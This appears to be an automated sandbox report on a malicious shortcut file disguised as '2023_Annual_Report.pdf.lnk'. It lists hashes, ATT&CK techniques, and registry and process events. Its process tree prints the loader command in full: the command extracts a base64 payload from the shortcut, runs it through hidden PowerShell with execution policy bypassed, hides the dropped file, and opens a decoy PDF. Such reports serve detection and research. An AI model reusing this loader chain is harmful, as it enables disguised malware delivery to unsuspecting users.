ec01c971910cefaf107cd44a7d4c7e68d6e1659ee24c60340c505511d37104b3

General

Target

2023_Annual_Report.pdf.lnk
Size

55KB
MD5

bbc4414d76d1a765f3d525556f616ef9
SHA1

c73e28d87fbbc8be79ed1d421e78a41c29111a86
SHA256

86f504dea07fd952253904c468d83d9014a290e1ff5f2d103059638e07d14b09
SHA512

2a7204e361ace1c5c03bc240b985d09cc1f1e67dce025dca5ac9d450bc7193e456d3602ab557abd9bd7ec4d96815e41df06cdce9359379b32c0e777aa9d54be7
SSDEEP

768:NLoFJQeDHeGYyhA5Z7JsCVResXebqwVCYm7/k/m7RU6d/dwiuGIjsZL2RxcNRyxc:NLBWYX5Z7JsCVCbqECB7cOm0OoxUURV

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

Processes:

powershell.exe

flow	pid	process
32	4300	powershell.exe
36	4300	powershell.exe
37	4300	powershell.exe
54	4300	powershell.exe
59	4300	powershell.exe
62	4300	powershell.exe
66	4300	powershell.exe
68	4300	powershell.exe
69	4300	powershell.exe
86	4300	powershell.exe
96	4300	powershell.exe
97	4300	powershell.exe
103	4300	powershell.exe
105	4300	powershell.exe
106	4300	powershell.exe
114	4300	powershell.exe
115	4300	powershell.exe
116	4300	powershell.exe
161	4300	powershell.exe
167	4300	powershell.exe
168	4300	powershell.exe
178	4300	powershell.exe
180	4300	powershell.exe
182	4300	powershell.exe
192	4300	powershell.exe
193	4300	powershell.exe
194	4300	powershell.exe
195	4300	powershell.exe
196	4300	powershell.exe
197	4300	powershell.exe
198	4300	powershell.exe
199	4300	powershell.exe
200	4300	powershell.exe
219	4300	powershell.exe
220	4300	powershell.exe
221	4300	powershell.exe
229	4300	powershell.exe
232	4300	powershell.exe
233	4300	powershell.exe
249	4300	powershell.exe
250	4300	powershell.exe
251	4300	powershell.exe
271	4300	powershell.exe
272	4300	powershell.exe
273	4300	powershell.exe
280	4300	powershell.exe
281	4300	powershell.exe
282	4300	powershell.exe
289	4300	powershell.exe
290	4300	powershell.exe
291	4300	powershell.exe
296	4300	powershell.exe
297	4300	powershell.exe
300	4300	powershell.exe
319	4300	powershell.exe
322	4300	powershell.exe
326	4300	powershell.exe
332	4300	powershell.exe
333	4300	powershell.exe
334	4300	powershell.exe
349	4300	powershell.exe
350	4300	powershell.exe
351	4300	powershell.exe
366	4300	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AcroRd32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

AcroRd32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exeAcroRd32.exe

pid	process
1556	powershell.exe
1556	powershell.exe
4300	powershell.exe
4300	powershell.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1556 powershell.exe
Token: SeDebugPrivilege 4300 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

AcroRd32.exe

pid process

708 AcroRd32.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

AcroRd32.exe

pid process

708 AcroRd32.exe
708 AcroRd32.exe
708 AcroRd32.exe
708 AcroRd32.exe
708 AcroRd32.exe

description	pid	process
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeDebugPrivilege	4300	powershell.exe

pid	process
708	AcroRd32.exe

pid	process
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe
708	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.execmd.exepowershell.exepowershell.exeAcroRd32.exeRdrCEF.exe

description	pid	process	target process
PID 2404 wrote to memory of 4116	2404	cmd.exe	cmd.exe
PID 2404 wrote to memory of 4116	2404	cmd.exe	cmd.exe
PID 4116 wrote to memory of 2900	4116	cmd.exe	findstr.exe
PID 4116 wrote to memory of 2900	4116	cmd.exe	findstr.exe
PID 4116 wrote to memory of 1556	4116	cmd.exe	powershell.exe
PID 4116 wrote to memory of 1556	4116	cmd.exe	powershell.exe
PID 1556 wrote to memory of 4300	1556	powershell.exe	powershell.exe
PID 1556 wrote to memory of 4300	1556	powershell.exe	powershell.exe
PID 4300 wrote to memory of 4092	4300	powershell.exe	findstr.exe
PID 4300 wrote to memory of 4092	4300	powershell.exe	findstr.exe
PID 4300 wrote to memory of 3680	4300	powershell.exe	attrib.exe
PID 4300 wrote to memory of 3680	4300	powershell.exe	attrib.exe
PID 4300 wrote to memory of 708	4300	powershell.exe	AcroRd32.exe
PID 4300 wrote to memory of 708	4300	powershell.exe	AcroRd32.exe
PID 4300 wrote to memory of 708	4300	powershell.exe	AcroRd32.exe
PID 708 wrote to memory of 3508	708	AcroRd32.exe	RdrCEF.exe
PID 708 wrote to memory of 3508	708	AcroRd32.exe	RdrCEF.exe
PID 708 wrote to memory of 3508	708	AcroRd32.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 4228	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 2496	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 2496	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 2496	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 2496	3508	RdrCEF.exe	RdrCEF.exe
PID 3508 wrote to memory of 2496	3508	RdrCEF.exe	RdrCEF.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3680 attrib.exe

pid	process
3680	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\2023_Annual_Report.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2404

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /B findstr /R "CiRFcnJvckFjdGlvbl" 2023_Annual_Report.pdf.lnk > "C:\Users\Admin\AppData\Local\Temp\Temp.jpg" & start /B pOwERsHElL -windowstyle hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -c "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "C:\Users\Admin\AppData\Local\Temp\Temp.jpg"))) | POwERsHElL"
2⤵
- Suspicious use of WriteProcessMemory
PID:4116

C:\Windows\system32\findstr.exe
findstr /R "CiRFcnJvckFjdGlvbl" 2023_Annual_Report.pdf.lnk
3⤵
PID:2900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
pOwERsHElL -windowstyle hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -c "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "C:\Users\Admin\AppData\Local\Temp\Temp.jpg"))) | POwERsHElL"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
4⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4300

C:\Windows\system32\findstr.exe
"C:\Windows\system32\findstr.exe" /R JVBERi0xLjcNJeLjz9 2023_Annual_Report.pdf.lnk
5⤵
PID:4092

C:\Windows\system32\attrib.exe
"C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Temp.jpg
5⤵
- Views/modifies file attributes
PID:3680

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Important.pdf"
5⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:708

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
6⤵
- Suspicious use of WriteProcessMemory
PID:3508

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=561D8C5CB03F4DB154C1477A35841AB5 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
7⤵
PID:4228

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=B7C960ADFC82676E8C7FF4278600F7DC --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=B7C960ADFC82676E8C7FF4278600F7DC --renderer-client-id=2 --mojo-platform-channel-handle=1740 --allow-no-sandbox-job /prefetch:1
7⤵
PID:2496

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=EECDE187E2BC7AD7D894B36F09DE8D0A --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=EECDE187E2BC7AD7D894B36F09DE8D0A --renderer-client-id=5 --mojo-platform-channel-handle=1828 --allow-no-sandbox-job /prefetch:1
7⤵
PID:3668

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=AA18266FE72CC7EF6557E693378C3465 --mojo-platform-channel-handle=2304 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
7⤵
PID:2520

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=49D7EF1BDD919654FD86E4E84254F22D --mojo-platform-channel-handle=2444 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
7⤵
PID:3480

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=864DFD4438E7B066A0468D1F2C0BD2A7 --mojo-platform-channel-handle=2584 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
7⤵
PID:4752

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2460

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Filesize
64KB

MD5
6a544d71a59bb005a7e54a33c7bfa091

SHA1
566d85531434184bf6b69b68dd29d5c15762638d

SHA256
2d7ea2cd8d778ac26a7b56146d4696e06e82d9abf839b021a573503e0f93ee09

SHA512
e222682e034f9b42de45bf0c4c3186ee18dbdfe625a727fdde87ba2f9fa144a8193618d9da642c18ff18fe598cf33cbf6883d7a6e14d68d22533d5cea5f4d263

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Important.pdf
Filesize
35KB

MD5
76f18bc1e745e59e37141f2a9d336f6f

SHA1
289c50c79786a9e3ce559e7b6246305c26aa1082

SHA256
84f026998c5a547c8cc3ba8d86d3425097c501ae85a207c121288f6c1cf72710

SHA512
8b7c74ec13e4b8fc6c7cdb6ee161b203f99cf671ff72487bdce12f5d8c1ff73939bb31d6065fc1fcb41caa00ae07d8fab618848ec5f67748899586e498da496f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Temp.jpg
Filesize
7KB

MD5
50514f94115e319477095fbefa61257e

SHA1
004b3b8e4ace16db6fc954c10decf8856617ef12

SHA256
4339e02a2557b36934baf68b6e97daae04a3e118da2a66915e6200579594d8c6

SHA512
47f6a6f52e02cb7365e70e1637ad0f6e4c96c6f156ad794f3583eb8cbf1dc9af3b8a921ca2c754c2636bba2c2c6991204930502d171b2b41b72af78bfb7e2a49

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_za3wo5be.1sn.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1556-11-0x00000215FA510000-0x00000215FA520000-memory.dmp

Filesize
64KB

Download
memory/1556-10-0x00007FFD5B8F0000-0x00007FFD5C3B1000-memory.dmp

Filesize
10.8MB

Download
memory/1556-0-0x00000215FA3D0000-0x00000215FA3F2000-memory.dmp

Filesize
136KB

Download
memory/1556-12-0x00000215FA510000-0x00000215FA520000-memory.dmp

Filesize
64KB

Download
memory/1556-60-0x00007FFD5B8F0000-0x00007FFD5C3B1000-memory.dmp

Filesize
10.8MB

Download
memory/1556-76-0x00000215FA510000-0x00000215FA520000-memory.dmp

Filesize
64KB

Download
memory/1556-65-0x00000215FA510000-0x00000215FA520000-memory.dmp

Filesize
64KB

Download
memory/4300-25-0x0000029B73EC0000-0x0000029B73F36000-memory.dmp

Filesize
472KB

Download
memory/4300-61-0x0000029B71A00000-0x0000029B71A10000-memory.dmp

Filesize
64KB

Download
memory/4300-24-0x0000029B71920000-0x0000029B71964000-memory.dmp

Filesize
272KB

Download
memory/4300-85-0x00007FFD5B8F0000-0x00007FFD5C3B1000-memory.dmp

Filesize
10.8MB

Download
memory/4300-88-0x0000029B71A00000-0x0000029B71A10000-memory.dmp

Filesize
64KB

Download
memory/4300-103-0x0000029B71A00000-0x0000029B71A10000-memory.dmp

Filesize
64KB

Download
memory/4300-14-0x00007FFD5B8F0000-0x00007FFD5C3B1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads